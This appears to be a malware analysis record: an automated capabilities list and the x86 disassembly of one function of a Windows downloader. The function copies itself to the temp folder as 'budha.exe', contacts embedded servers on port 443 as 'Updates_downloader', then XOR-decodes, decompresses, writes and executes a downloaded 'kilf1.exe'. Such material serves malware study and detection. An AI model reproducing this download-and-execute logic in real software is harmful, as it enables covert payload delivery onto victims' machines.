Function at 0x401053
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8dc
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp + 0x44], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x40107a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov esi, 0x2000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push esi
push 8
push eax
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [ebp + 0x68]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push ebx
mov dword [ebp + 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp + 0x6c]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.budha.exe
push dword [ebp + 0x6c]
push str._s_s
push dword [ebp + 0x6c]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x64], eax
cmp eax, 0xffffffff
jne 0x401100
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 0x78
leave
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov dword [ebp + 0x74], eax
call esi
mov ecx, dword [ebp + 0x74]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x60], eax
cmp eax, ebx
je 0x401072
push ebx
lea ecx, [ebp + 0x54]
push ecx
push dword [ebp + 0x74]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x6c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011e3
push edi
call esi
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp + 0x60]
add eax, dword [ebp + 0x74]
push edi
push eax
jmp section..htext
push ebx
jmp 0x401074
mov ecx, dword [ebp + 0x60]
mov eax, dword [ecx + 0x3c]
push dword [ebp + 0x64]
add eax, ecx
movzx edx, word [eax + 6]
imul edx, edx, 0x28
lea eax, [edx + eax + 0xd0]
mov esi, dword [eax + 0x14]
add esi, dword [eax + 0x10]
add esi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x74], ebx
jmp 0x40121b
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x4e20
jg 0x401226
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40120f
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push dword [ebp + 0x68]
call esi
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x68]
call esi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [ebp + 0x34], esi
cmp esi, ebx
je 0x4010f5
push str.RtlDecompressBuffer
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [section..bss], eax
cmp eax, ebx
jne 0x401275
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4010f5
mov edi, 0x100
push edi
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp + 0x4c], esi
cmp esi, ebx
je 0x4010f5
lea eax, [ebp + 0x2c]
push eax
push edi
push section..links
push 0x400
push esi
push 0x102
mov dword [ebp + 0x2c], ebx
call dword [section..bss]
push ebx
push ebx
push ebx
push ebx
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp + 0x38], eax
cmp eax, ebx
je 0x4010f5
or dword [ebp + 0x6c], 0xffffffff
mov dword [ebp + 0x20], str.text_
mov dword [ebp + 0x24], str.application_
mov dword [ebp + 0x28], ebx
jmp 0x4012e5
mov esi, dword [ebp + 0x4c]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
mov ecx, dword [ebp + 0x6c]
imul eax, eax, 0x6c
cmp ecx, dword [eax + esi + 0x68]
jl 0x401305
mov dword [ebp + 0x6c], ebx
mov edi, dword [ebp + 0x6c]
add edi, dword [ebp + 0x44]
mov dword [ebp + 0x74], ebx
mov eax, edi
imul eax, eax, 0x6c
add eax, esi
mov dword [ebp + 0x3c], edi
mov dword [ebp + 0x60], eax
push ebx
push ebx
push 3
push ebx
push ebx
push 0x1bb
push dword [ebp + 0x60]
push dword [ebp + 0x38]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
jne 0x401344
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x40131b
jmp 0x4012e5
imul edi, edi, 0x6c
lea eax, [edi + esi]
mov dword [ebp + 0x74], ebx
mov dword [ebp + 0x60], eax
lea edi, [eax + 0x20]
push ebx
push 0x80803000
lea eax, [ebp + 0x20]
push eax
push ebx
push ebx
push edi
push ebx
push dword [ebp + 0x5c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x68], eax
cmp eax, ebx
jne 0x40137f
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x401353
jmp 0x4012e5
push 4
pop edi
lea ecx, [ebp + 0x30]
push ecx
lea ecx, [ebp + 0x50]
push ecx
push 0x1f
push eax
mov dword [ebp + 0x30], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp + 0x50], 0x100
push edi
lea eax, [ebp + 0x50]
push eax
push 0x1f
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_InternetSetOptionW]
xor edi, edi
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4013c6
inc edi
cmp edi, 2
jl 0x4013af
cmp edi, 2
je 0x4012e5
mov dword [ebp + 0x40], 4
mov dword [ebp + 0x70], ebx
xor esi, esi
push ebx
lea eax, [ebp + 0x40]
push eax
lea eax, [ebp + 0x70]
push eax
push 0x20000005
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x4013fc
inc esi
cmp esi, 3
jl 0x4013db
mov eax, dword [ebp + 0x70]
push ebx
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push dword [ebp + 0x70]
mov dword [ebp + 0x5c], eax
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp + 0x58], esi
cmp esi, ebx
je 0x4015d9
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x74], ebx
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
mov dword [ebp + 0x64], esi
push esi
jmp 0x401459
mov eax, dword [ebp + 0x54]
add dword [ebp + 0x64], eax
cmp eax, ebx
je 0x401462
cmp eax, dword [ebp + 0x70]
je 0x401462
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x64]
push dword [ebp + 0x68]
call edi
test eax, eax
jne 0x401440
mov ecx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x70]
sub ecx, esi
cmp ecx, eax
je 0x401477
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x14
jl 0x40142d
cmp dword [ebp + 0x74], 0x14
je 0x4012e2
cmp byte [esi], 0x5a
jne 0x401503
cmp byte [esi + 1], 0x5a
jne 0x401503
cmp byte [esi + 2], 0x50
jne 0x401503
cmp byte [esi + 3], bl
jne 0x401503
shl eax, 2
push eax
push 8
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
je 0x4010f5
mov edi, dword [ebp + 0x70]
mov eax, dword [ebp + 0x60]
mov eax, dword [eax + 0x60]
mov edx, edi
xor ecx, ecx
and edi, 0xfffffffc
shl edx, 2
inc ecx
mov dword [ebp + 0x48], ebx
cmp edi, 4
jbe 0x4014db
xor dword [esi + ecx*4], eax
mov edi, dword [ebp + 0x70]
inc ecx
shr edi, 2
cmp ecx, edi
jb 0x4014cd
sub dword [ebp + 0x70], 4
lea eax, [ebp + 0x48]
push eax
push dword [ebp + 0x70]
add esi, 4
push esi
mov esi, dword [ebp + 0x5c]
push edx
push esi
push 0x102
call dword [section..bss]
mov eax, dword [ebp + 0x48]
mov dword [ebp + 0x58], esi
mov dword [ebp + 0x70], eax
push dword [ebp + 0x34]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [esi], 0x4d
jne 0x4015bc
cmp byte [esi + 1], 0x5a
jne 0x4015bc
push 5
pop ecx
push 0x6c
lea eax, [ebp - 0x50]
push ebx
mov esi, str.kilf1.exe
lea edi, [ebp - 0x64]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401000
mov eax, dword [ebp + 0x3c]
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
add eax, 0x31
push 2
mov word [ebp - 0x5c], ax
push 0x40000000
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp + 0x1c]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x864]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x864]
push eax
push 0x40308c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x864]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp + 0x60]
mov ecx, dword [0x404100]
mov eax, dword [eax + 0x68]
dec ecx
mov dword [ebp + 0x44], eax
cmp eax, ecx
jge 0x4011dd
jmp 0x4012e2
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x4010f5